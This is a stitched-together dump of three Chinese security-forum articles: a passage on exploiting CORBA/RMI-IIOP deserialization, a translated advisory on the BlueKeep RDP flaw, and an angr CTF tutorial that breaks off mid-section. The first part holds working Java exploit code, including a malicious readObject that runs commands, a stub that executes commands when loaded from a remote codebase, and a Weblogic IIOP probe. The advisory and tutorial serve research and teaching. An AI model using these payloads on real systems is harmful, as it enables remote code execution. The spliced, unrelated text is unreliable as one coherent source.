好了，用代码感受下（[github](https://github.com/johnngugi/CORBA-Example)找到一份现成的代码可以直接用，不过做了一些修改）：
1、2步骤作者已经帮我们生成好了，生成的代码在[EchoApp](https://github.com/johnngugi/CORBA-Example/tree/master/src/EchoApp)目录
服务端：
//服务端
package com.longofo.corba.example;
import com.longofo.corba.example.EchoApp.Echo;
import com.longofo.corba.example.EchoApp.EchoHelper;
import org.omg.CORBA.ORB;
import org.omg.CosNaming.NameComponent;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;
import org.omg.PortableServer.POA;
import org.omg.PortableServer.POAHelper;
public class Server {
public static void main(String[] args) {
if (args.length == 0) {
args = new String[4];
args[0] = "-ORBInitialPort";
args[1] = "1050";
args[2] = "-ORBInitialHost";
args[3] = "localhost";
}
try {
//创建并初始化ORB
ORB orb = ORB.init(args, null);
//获取根POA的引用并激活POAManager
POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA"));
rootpoa.the_POAManager().activate();
//创建servant
EchoImpl echoImpl = new EchoImpl();
//获取与servant关联的对象引用
org.omg.CORBA.Object ref = rootpoa.servant_to_reference(echoImpl);
Echo echoRef = EchoHelper.narrow(ref);
//为所有CORBA ORB定义字符串"NameService"。当传递该字符串时，ORB返回一个命名上下文对象，该对象是名称服务的对象引用
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
NameComponent path[] = ncRef.to_name("ECHO-SERVER");
ncRef.rebind(path, echoRef);
System.out.println("Server ready and waiting...");
//等待客户端调用
orb.run();
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
客户端：
//客户端
package com.longofo.corba.example;
import com.longofo.corba.example.EchoApp.Echo;
import com.longofo.corba.example.EchoApp.EchoHelper;
import org.omg.CORBA.ORB;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;
public class Client {
public static void main(String[] args) {
if (args.length == 0) {
args = new String[4];
args[0] = "-ORBInitialPort";
args[1] = "1050";
args[2] = "-ORBInitialHost";
args[3] = "localhost";
}
try {
//创建并初始化ORB
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
Echo href = EchoHelper.narrow(ncRef.resolve_str("ECHO-SERVER"));
String hello = href.echoString();
System.out.println(hello);
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
//使用Jndi查询客户端
package com.longofo.corba.example;
import com.alibaba.fastjson.JSON;
import com.longofo.corba.example.EchoApp.Echo;
import com.longofo.corba.example.EchoApp.EchoHelper;
import javax.naming.*;
import java.io.IOException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class JndiClient {
/**
* 列出所有远程对象名
*/
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException {
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
//列出所有远程对象名
System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));
System.out.println("-----------call remote method--------------");
Echo echoRef = EchoHelper.narrow((org.omg.CORBA.Object) initialContext.lookup("ECHO-SERVER"));
System.out.println(echoRef.echoString());
}
private static Map listAllEntries(Context initialContext) throws NamingException {
String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";
HashMap<String, Object> map = new HashMap<String, Object>();
System.out.println("> Listing namespace: " + namespace);
NamingEnumeration<NameClassPair> list = initialContext.list(namespace);
while (list.hasMoreElements()) {
NameClassPair next = list.next();
String name = next.getName();
String jndiPath = namespace + name;
HashMap<String, Object> lookup = new HashMap<String, Object>();
try {
System.out.println("> Looking up name: " + jndiPath);
Object tmp = initialContext.lookup(jndiPath);
if (tmp instanceof Context) {
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
Map<String, Object> entries = listAllEntries((Context) tmp);
for (Map.Entry<String, Object> entry : entries.entrySet()) {
String key = entry.getKey();
if (key != null) {
lookup.put(key, entries.get(key));
break;
}
}
} else {
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
}
} catch (Throwable t) {
lookup.put("error msg", t.toString());
Object tmp = initialContext.lookup(jndiPath);
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
}
map.put(name, lookup);
}
return map;
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
客户端使用了两种方式，一种是COSNaming查询，另一种是Jndi查询，两种方式都可以，在jdk1.8.0_181测试通过。
首先启动一个命名服务器（可以理解为rmi的registry），使用ordb启动如下，orbd默认自带（如果你有jdk环境的话）：
然后启动服务端corba-iiop/src/main/java/com/longofo/example/Server.java，在启动corba-iiop/src/main/java/com/longofo/example/Client.java或JndiClient.java即可。
这里看下JndiClient的结果：
> Listing namespace:
> Looking up name: ECHO-SERVER
{
"ECHO-SERVER":{
"interfaces":[],
"class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
}
}
-----------call remote method-------------- Hello World!!!
注意到那个class不是没有获取到原本的EchoImpl类对应的Stub
class，而我们之前rmi测试也用过这个list查询，那时候是能查询到远程对象对应的stub类名的。这可能是因为Corba的实现机制的原因，`com.sun.corba.se.impl.corba.CORBAObjectImpl`是一个通用的Corba对象类，而上面的narrow调用`EchoHelper.narrow`就是一种将对象变窄的方式转换为Echo
Stub对象，然后才能调用echoString方法，并且每一个远程对象的调用都要使用它对应的xxxHelper。
下面是Corba客户端与服务端通信包：
第1、2个包是客户端与ordb通信的包，后面就是客户端与服务端通信的包。可以看到第二个数据包的IOR（Interoperable Object
Reference）中包含着服务端的ip、port等信息，意思就是客户端先从ordb获取服务端的信息，然后接着与服务端通信。同时这些数据中也没有平常所说的`ac
ed 00 05` 标志，但是其实反序列化的数据被包装了，在后面的RMI-IIOP中有一个例子会进行说明。
IOR几个关键字段：
* **Type ID** ：接口类型，也称为存储库ID格式。本质上，存储库ID是接口的唯一标识符。例如上面的`IDL:omg.org/CosNaming/NamingContext:1.0`
* **IIOP version** ：描述由ORB实现的IIOP版本
* **Host** ：标识ORB主机的TCP/IP地址
* **Port** ：指定ORB在其中侦听客户端请求的TCP/IP端口号
* **Object Key** ：唯一地标识了被ORB导出的servant
* **Components** ：包含适用于对象方法的附加信息的序列，例如支持的ORB服务和专有协议支持等
* **Codebase** ：用于获取stub类的远程位置。通过控制这个属性，攻击者将控制在服务器中解码IOR引用的类，在后面利用中我们能够看到。
只使用Corba进行远程调用很麻烦，要编写IDL文件，然后手动生成对应的类文件，同时还有一些其他限制，然后就有了RMI-IIOP，结合了Corba、RMI的优点。
#### RMI-IIOP远程调用
编写一个RMI IIOP远程调用步骤：
1. 定义远程接口类
2. 编写实现类
3. 编写服务端
4. 编写客户端
5. 编译代码并为服务端与客户端生成对应的使用类
下面直接给出一种恶意利用的demo场景。
服务端：
package com.longofo.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
public class HelloServer {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) {
try {
//实例化Hello servant
HelloImpl helloRef = new HelloImpl();
//使用JNDI在命名服务中发布引用
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
initialContext.rebind("HelloService", helloRef);
System.out.println("Hello Server Ready...");
Thread.currentThread().join();
} catch (Exception ex) {
ex.printStackTrace();
}
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
客户端：
package com.longofo.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;
public class HelloClient {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) {
try {
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
//从命名服务获取引用
Object objRef = initialContext.lookup("HelloService");
//narrow引用为具体的对象
HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class);
EvilMessage message = new EvilMessage();
message.setMsg("Client call method sayHello...");
hello.sayHello(message);
} catch (Exception ex) {
ex.printStackTrace();
}
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
假设在服务端中存在EvilMessage这个能进行恶意利用的类，在客户端中编写同样包名类名相同的类，并继承`HelloInterface.sayHello(Message
msg)`方法中Message类：
package com.longofo.example;
import java.io.ObjectInputStream;
public class EvilMessage extends Message {
private void readObject(ObjectInputStream s) {
try {
s.defaultReadObject();
Runtime.getRuntime().exec("calc");
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
先编译好上面的代码，然后生成服务端与客户端进行远程调用的代理类：
rmic -iiop com.longofo.example.HelloImpl
执行完成后，在下面生成了两个类（Tie用于服务端，Stub用于客户端）：
启动一个命名服务器：
orbd -ORBInitialPort 1050 -ORBInitialHost loaclhost
启动服务端rmi-iiop/src/main/java/com/longofo/example/HelloServer.java，再启动客户端rmi-iiop/src/main/java/com/longofo/example/HelloClient.java即可看到计算器弹出，在JDK
1.8.1_181测试通过。
服务端调用栈如下：
注意那个`_HelloImpl_Tie.read_value`，这是在19年BlackHat议题["An-Far-Sides-Of-Java-Remote-Protocols"](https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf)[1]提到的，如果直接看那个pdf中关于RMI-IIOP的内容，可能会一脸懵逼，因为议题中没有上面这些前置信息，有了上面这些信息，再去看那个议题的内容可能会轻松些。通过调用栈我们也能看到，IIOP通信中的某些数据被还原成了
**CDRInputStream** ，这是InputStream的子类，而被包装的数据在下面Stub data这里：
最后通过反射调用到了EvilMessage的readObject，看到这里其实就清楚一些了。不过事实可能会有些残酷，不然为什么关于RMI-IIOP的漏洞很少看到，看看下面Weblogic RMI-IIOP来感受下。
#### Weblogic中的RMI-IIOP
Weblogic默认是开启了iiop协议的，如果是上面这样的话，看通信数据以及上面的调用过程极大可能是不会经过Weblogic的黑名单了。
直接用代码测试吧（利用的Weblogic自带的JDK 1.6.0_29测试）：
import com.alibaba.fastjson.JSON;
import javax.ejb.RemoveException;
import javax.management.j2ee.ManagementHome;
import javax.naming.*;
import javax.rmi.PortableRemoteObject;
import java.io.IOException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class PayloadIiop {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException, RemoveException {
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:7001");
System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));
Object objRef = initialContext.lookup("ejb/mgmt/MEJB");
ManagementHome managementHome = (ManagementHome) PortableRemoteObject.narrow(objRef, ManagementHome.class);
managementHome.remove(new Object());//这里只是测试能否成功调用到remove方法，如果能成功调用，Object按照上面RMI-IIOP那种方式恶意利用
}
private static Map listAllEntries(Context initialContext) throws NamingException {
String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";
HashMap<String, Object> map = new HashMap<String, Object>();
System.out.println("> Listing namespace: " + namespace);
NamingEnumeration<NameClassPair> list = initialContext.list(namespace);
while (list.hasMoreElements()) {
NameClassPair next = list.next();
String name = next.getName();
String jndiPath = namespace + name;
HashMap<String, Object> lookup = new HashMap<String, Object>();
try {
System.out.println("> Looking up name: " + jndiPath);
Object tmp = initialContext.lookup(jndiPath);
if (tmp instanceof Context) {
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
Map<String, Object> entries = listAllEntries((Context) tmp);
for (Map.Entry<String, Object> entry : entries.entrySet()) {
String key = entry.getKey();
if (key != null) {
lookup.put(key, entries.get(key));
break;
}
}
} else {
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
}
} catch (Throwable t) {
lookup.put("error msg", t.toString());
Object tmp = initialContext.lookup(jndiPath);
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
}
map.put(name, lookup);
}
return map;
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
list查询结果如下：
> Listing namespace:
> Looking up name: weblogic
> Listing namespace:
> Looking up name: ejb
> Listing namespace:
> Looking up name: mgmt
> Listing namespace:
> Looking up name: MEJB
> Looking up name: javax
> Listing namespace:
> Looking up name: mejbmejb_jarMejb_EO
{
"ejb":{
"mgmt":{
"MEJB":{
"interfaces":[],
"class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
},
"interfaces":["javax.naming.Context"],
"class":"com.sun.jndi.cosnaming.CNCtx"
},
"interfaces":["javax.naming.Context"],
"class":"com.sun.jndi.cosnaming.CNCtx"
},
"javax":{
"error msg":"org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No",
"interfaces":["javax.naming.Context"],
"class":"com.sun.jndi.cosnaming.CNCtx"
},
"mejbmejb_jarMejb_EO":{
"interfaces":[],
"class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
},
"weblogic":{
"error msg":"org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No",
"interfaces":["javax.naming.Context"],
"class":"com.sun.jndi.cosnaming.CNCtx"
}
}
这些远程对象的名称和通过默认的rmi://协议查询的结果是一样的，只是class和interfaces不同。
但是到`managementHome.remove`就报错了，managementHome为null。在上面RMI-IIOP的测试中，客户端要调用远程需要用到客户端的Stub类，去查找了下`ejb/mgmt/MEJB`对应的实现类`weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl`，他有一个Stub类为`weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub`，但是这个Stub类是为默认的RMI
JRMP方式生成的，并没有为IIOP调用生成客户端与服务端类，只是绑定了一个名称。
通过一些查找，每一个IIOP远程对象对应的Tie类和Stub类都会有一个特征：
根据这个特征，在Weblogic中确实有很多这种已经为IIOP调用生成的客户端Stub类，例如`_MBeanHomeImpl_Stub`类，是`MBeanHomeImpl`客户端的Stub类：
一个很尴尬的事情就是，Weblogic默认绑定了远程名称的实现类没有为IIOP实现服务端类与客户端类，但是没有绑定的一些类却实现了，所以默认无法利用了。
刚才调用失败了，来看下没有成功调用的通信：
在COSNaming查询包之后，服务端返回了type_ip为`RMI:javax.management.j2ee.ManagementHome:0000000000000000`的标志，
然后下一个包又继续了一个`_is_a`查询：
下一个包就返回了type_id not match：
可以猜测的是服务端没有生成IIOP对应的服务端与客户端类，然后命名服务器中找不到关于的`RMI:javax.management.j2ee.ManagementHome:0000000000000000`标记，通过查找也确实没有找到对应的类。
不过上面这种利用方式只是在代码层调用遵守了Corba
IIOP的一些规范，规规矩矩的调用，在协议层能不能通过替换、修改等操作进行构造与利用，能力有限，未深入研究IIOP通信过程。
在今年的那个议题RMI-IIOP部分，给出了Websphere一个拦截器类TxServerInterceptor中使用到`read_any`方法的情况，从这个名字中可以看出是一个拦截器，所以基本上所有请求都会经过这里。这里最终也调用到`read_value`，就像上面的`_HelloImpl_Tie.read_value`一样，这里也能进行可以利用，只要目标服务器存在可利用的链，作者也给出了一些Websphere中的利用链。可以看到，不只是在远程调用中会存在恶意利用的地方，在其他地方也可能以另一种方式存在，不过在方法调用链中核心的几个地方依然没有变，`CDRInputStream`与`read_value`，可能手动去找这些特征很累甚至可能根本找不到，那么庞大的代码量，不过要是有所有的方法调用链，例如GatgetInspector那种工具，之前[初步分析](https://paper.seebug.org/1034/)过这个工具。这是后面的打算了，目标是自由的编写自己的控制逻辑。
#### JNDI中的利用
在JNDI利用中有多种的利用方式，而RMI-IIOP只是默认RMI利用方式（通过JRMP传输）的替代品，在RMI默认利用方式无法利用时，可以考虑用这种方式。但是这种方式依然会受到SecurityManager的限制。
在RMI-IIOP测试代码中，我把client与server放在了一起，客户端与服务端使用的Tie与Stub也放在了一起，可能会感到迷惑。那下面我们就单独把Client拿出来进行测试以及看下远程加载。
服务端代码还是使用RMI-IIOP中的Server，但是加了一个codebase：
package com.longofo.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
public class HelloServer {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) {
try {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
//实例化Hello servant
HelloImpl helloRef = new HelloImpl();
//使用JNDI在命名服务中发布引用
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
initialContext.rebind("HelloService", helloRef);
System.out.println("Hello Server Ready...");
Thread.currentThread().join();
} catch (Exception ex) {
ex.printStackTrace();
}
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
Client代码在新建的[rmi-iiop-test-client]()模块，这样模块之间不会受到影响，Client代码如下：
package com.longofo.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RMISecurityManager;
import java.util.Hashtable;
public class HelloClient {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) {
try {
System.setProperty("java.security.policy", HelloClient.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
//从命名服务获取引用
initialContext.lookup("HelloService");
} catch (Exception ex) {
ex.printStackTrace();
}
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
然后我在remote-class模块增加了一个`com.longofo.example._HelloInterface_Stub`：
package com.longofo.example;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class _HelloInterface_Stub {
static {
//这里由于在static代码块中，无法直接抛异常外带数据，不过有其他方式外带数据，可以自己查找下。没写在构造函数中是因为项目中有些利用方式不会调用构造参数，所以为了方标直接写在static代码块中
try {
exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
throw new Exception(sb);
}
}
启动远程类服务remote-class/src/main/java/com/longofo/remoteclass/HttpServer.java，再启动rmi-iiop/src/main/java/com/longofo/example/HelloServer.java，然后运行客户端rmi-iiop-test-client/src/main/java/com/longofo/example/HelloClient.java即可弹出计算器。在JDK
1.8.0_181测试通过。
至于为什么进行了远程调用，在`CDRInputStream_1_0.read_object`下个断点，然后跟踪就会明白了，最后还是利用了rmi的远程加载功能：
#### 总结
遗憾就是没有成功在Weblogic中利用到RMI-IIOP，在这里写出来提供一些思路，如果大家有关于RMI-IIOP的其他发现与想法也记得分享下。不知道大家有没有关于RMI-IIOP比较好的真实案例。
#### 参考
1. <https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf>
2. <https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf>
3. <https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html>
4. <https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html>
5. <https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738>
* * * | 社区文章 |
在Microsoft的`May Patch Tuesday`周报中发布了针对远程桌面协议（RDP）中的漏洞安全公告。在这个补丁报告中，微软为Windows
XP和其他几个操作系统提供了修复报告，然而这些操作系统多年里并没有得到非常安全的补丁更新支持。这就是为何微软将此漏洞设定为高危的原因所在。
根据该通报，我们发现此问题非常严重，能够导致远程执行代码并非常容易被攻击者利用，这意味着它可以在未受保护的系统上进行自动传播。该公告使用了网络蠕虫“`WannaCry`”的通告方法，该漏洞在2017年3月微软发布MS17-010作为相关漏洞的补丁后仅几个月就被大量利用。`McAfee
Advanced Threat
Research`一直在分析这个最新的bug以帮助预防类似的情况，我们敦促那些未修补和受影响的系统尽快应用CVE-2019-0708补丁。恶意行为者极有可能部署此漏洞，并且在不久的将来可能会将其发布到网络用于攻击。
易受攻击的操作系统：
* Windows 2003
* Windows XP
* Windows 7
* Windows Server 2008
* Windows Server 2008 R2
蠕虫是主要在网络上复制的病毒。蠕虫通常会在远程计算机上自动执行，而无需用户提供任何额外帮助。如果病毒的主要攻击媒介是通过网络，那么它就被归类为蠕虫病毒。
远程桌面协议（RDP）支持客户端和端点之间的连接，定义虚拟通道之间通信的数据。虚拟通道是双向数据管道，可以扩展`RDP`。 `Windows Server
2000`使用`RDP 5.1`定义了32个静态虚拟通道（SVC），但由于定动态虚拟通道（DVC）的通道数量存在限制，这些通道包含在专用SVC中。
SVC在会话开始时创建并保持到会话终止，这与需要创建和拆除的DVC不同。
下图为32个SVC绑定信息，`CVE-2019-0708`补丁修复了RDP驱动程序`termdd.sys`中的`_IcaBindVirtualChannels`和`_IcaRebindVirtualChannels`函数。如图所示，RDP连接序列连接在安全开始之前启动并进行通道设置，这使得`CVE-2019-0708`可以对其进行设置，因为它可以在发现开放端口`3389`后通过网络自我传播。
该漏洞是由于`“MS_T120”SVC`名称在RDP协议的GCC初始化期间被绑定为数字`31`的参考信道。
此通道名称在Microsoft内部使用，并且客户端没有合法用例来请求名为`“MS_T120”`的`SVC`连接。
图2显示了没有`MS_T120`信道的`GCC`初始化序列合法信道请求。
但是，在`GCC`初始化期间，客户端所提供的服务器中并未列入白名单的频道名称，这意味着攻击者可以在31以外的频道上设置另一个名为“`MS_T120`”的SVC。在31以外的频道中使用`MS_T120`
会导致堆内存损坏和远程代码执行（RCE）。
图3显示了GCC会议初始化序列期间的异常信道请求，其信道号为4且名称为“MS_T120”。
图4展现了`MS_T120`通道管理中涉及的`.MS_D120`组件是如何在引用通道`rdpwsx.dll`和`rdpwp.sys`中完成堆分配并创建。
当在31以外的通道索引的上下文中处理`MS_T120`引用通道时，堆损坏发生在`termdd.sys`中。
现在，如图所示的`Microsoft`补丁使用通道名称“`MS_T120`”添加了对客户端连接请求的检查，并确保它在`termdd.sys`中的`_IcaBindVirtualChannels`和`_IcaRebindVirtualChannels`函数中仅绑定到通道31（1Fh）。
在我们调查了`Windows
2003`和`XP`的补丁并了解了如何在补丁之前和之后解析RDP协议后，我们决定创建并测试一个验证脚本（PoC），它将使用该漏洞并远程执行代码在受害者的机器上启动计算器应用程序。
在我们的设置中，`RDP`在计算机上运行，我们确认测试版本的操作系统上运行了未修补的版本。
通过我们的调查，我们可以确认漏洞利用是否正常，并且可以在没有身份验证的情况下在易受攻击的系统上远程执行代码。
如果启用，网络级别身份验证应该有效地阻止此漏洞利用。但是，如果攻击者拥有验证凭证，他们将绕过此步骤。
由于补丁可用，我们决定不提供有关漏洞的更深入的详细信息或公开发布POC。
* 我们可以确认修补后的系统会阻止该漏洞，并强烈建议用户尽快修补。
* 从网络外部禁用RDP并在内部对其进行限制。 禁用RDP时，漏洞利用不成功。
* 除非有合法使用案例的证据，否则应阻止在RDP协议的GCC会议初始化序列期间在31以外的任何通道上使用“MS_T120”的客户端请求。
需要注意的是，`RDP`默认端口可以在注册表字段中进行更改，并且重新启动后将绑定新指定的端口。
公司内部的恶意软件或管理员可以使用管理员权限（或绕过UAC的程序）更改此设置，并在注册表中写入此端口。如果系统未修补，则该漏洞仍可通过唯一端口进行利用。
本文为翻译文章，来自：[https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/](https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/) | 社区文章 |
# Angr_CTF从弃坑到启航
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> PS：打国赛、强网杯开学七七八八的杂事拖延了一点时间，拖更一下，上次提到的API变化可以查看一下附录
承接上一篇文章，上一章教程我们主要学习了angr的Hook接口的利用，这次我们把剩下的题目一网打尽
## 12_angr_veritesting
如题主要学习使用`Veritesting`的技术解决路径爆炸问题
### Veritesting
动态符号执行（DSE）和静态符号执行（SSE）一个为路径生成公式，一个为语句生成公式。前者生成公式时会产生很高的负载，但生成的公式很容易解；后者生成公式很容易，公式也能覆盖更多的路径，但是公式更长更难解。方法上的区别在于DSE会摘要路径汇合点上两条分支的情况，而SSE为两条分支fork两条独立的执行路径
SSE目前还不能对大规模的程序分析（如Cloud9+state
merging），问题主要在于循环的表示、方程复杂度、缺少具体状态、和对syscall等的模拟。Veritesting可以在SSE和DSE之间切换，减少负载和公式求解难度，并解决静态方法需要摘要或其他方法才能处理的系统调用和间接跳转
简单来说就是Veritesting结合了静态符合执行与动态符号执行，减少了路径爆炸的影响，在angr里我们只要在构造模拟管理器时，启用Veritesting了就行
project.factory.simgr(initial_state, veritesting=True)
首先检测一下文件：
zxy@ubuntu:~/Desktop/TEMP$ checksec 12_angr_veritesting
[*] '/home/syc/Desktop/TEMP/12_angr_veritesting'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
用IDA打开查看一下函数：
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char **v3; // ST1C_4
int v4; // ST08_4
int v5; // ebx
int v7; // [esp-10h] [ebp-5Ch]
int v8; // [esp-Ch] [ebp-58h]
int v9; // [esp-8h] [ebp-54h]
int v10; // [esp-4h] [ebp-50h]
int v11; // [esp+4h] [ebp-48h]
int v12; // [esp+8h] [ebp-44h]
int v13; // [esp+Ch] [ebp-40h]
int v14; // [esp+10h] [ebp-3Ch]
int v15; // [esp+10h] [ebp-3Ch]
int v16; // [esp+14h] [ebp-38h]
signed int i; // [esp+14h] [ebp-38h]
int v18; // [esp+18h] [ebp-34h]
int string; // [esp+1Ch] [ebp-30h]
int v20; // [esp+20h] [ebp-2Ch]
int v21; // [esp+24h] [ebp-28h]
int v22; // [esp+28h] [ebp-24h]
int v23; // [esp+2Ch] [ebp-20h]
int v24; // [esp+30h] [ebp-1Ch]
unsigned int v25; // [esp+40h] [ebp-Ch]
int *v26; // [esp+44h] [ebp-8h]
v26 = &argc;
v3 = argv;
v25 = __readgsdword(0x14u);
print_msg();
memset((char *)&string + 3, 0, 0x21u);
printf("Enter the password: ");
__isoc99_scanf(
"%32s",
(char *)&string + 3,
v4,
v7,
v8,
v9,
v10,
v3,
v11,
v12,
v13,
v14,
v16,
v18,
string,
v20,
v21,
v22,
v23,
v24);
v15 = 0;
for ( i = 0; i <= 31; ++i )
{
v5 = *((char *)&string + i + 3);
if ( v5 == complex_function(87, i + 186) )
++v15;
}
if ( v15 != 32 || (_BYTE)v25 )
puts("Try again.");
else
puts("Good Job.");
return 0;
}
int __cdecl complex_function(signed int a1, int a2)
{
if ( a1 <= 64 || a1 > 90 )
{
puts("Try again.");
exit(1);
}
return (a1 - 65 + 47 * a2) % 26 + 65;
}
回忆一下`08_angr_constraints`我们很快就能发现容易产生路径爆炸的地方
for ( i = 0; i <= 31; ++i )
{
v5 = *((char *)&string + i + 3);
if ( v5 == complex_function(87, i + 186) )
++v15;
}
在之前我们是通过增加条件约束和Hook函数避免路径爆炸，我们也可以尝试一下使用之前的方法，但是这题我们启用了Veritesting就变得简单了很多，不用过多的手动设定太多参数
话不多说，先直接上EXP：
import angr
import claripy
import sys
def Go():
path_to_binary = "./12_angr_veritesting"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state, veritesting=True)
def is_successful(state):
stdout_output = state.posix.dumps(1)
if b'Good Job.\n' in stdout_output:
return True
else:
return False
def should_abort(state):
stdout_output = state.posix.dumps(1)
if b'Try again.\n' in stdout_output:
return True
else:
return False
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
for i in simulation.found:
solution_state = i
solution = solution_state.posix.dumps(0)
print("[+] Success! Solution is: {0}".format(solution))
#print(scanf0_solution, scanf1_solution)
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
查看一下运行结果：
其实这题就是体验一下Veritesting的强大功能
## 13_angr_static_binary
这题如题就是主要学习如何使用angr解出静态编译的题目，学习如何Hook静态库函数
### 静态编译
不同于动态编译是将应用程序需要的模块都编译成动态链接库，启动程序（初始化）时，这些模块不会被加载，运行时用到哪个模块就调用哪个。静态编译就是在编译时，把所有模块都编译进可执行文件里，当启动这个可执行文件时，所有模块都被加载进来，反映在现实中就是程序体积会相对大一些，在IDA中会发现所有用到函数都是静态编译好的
我们先检查一下文件：
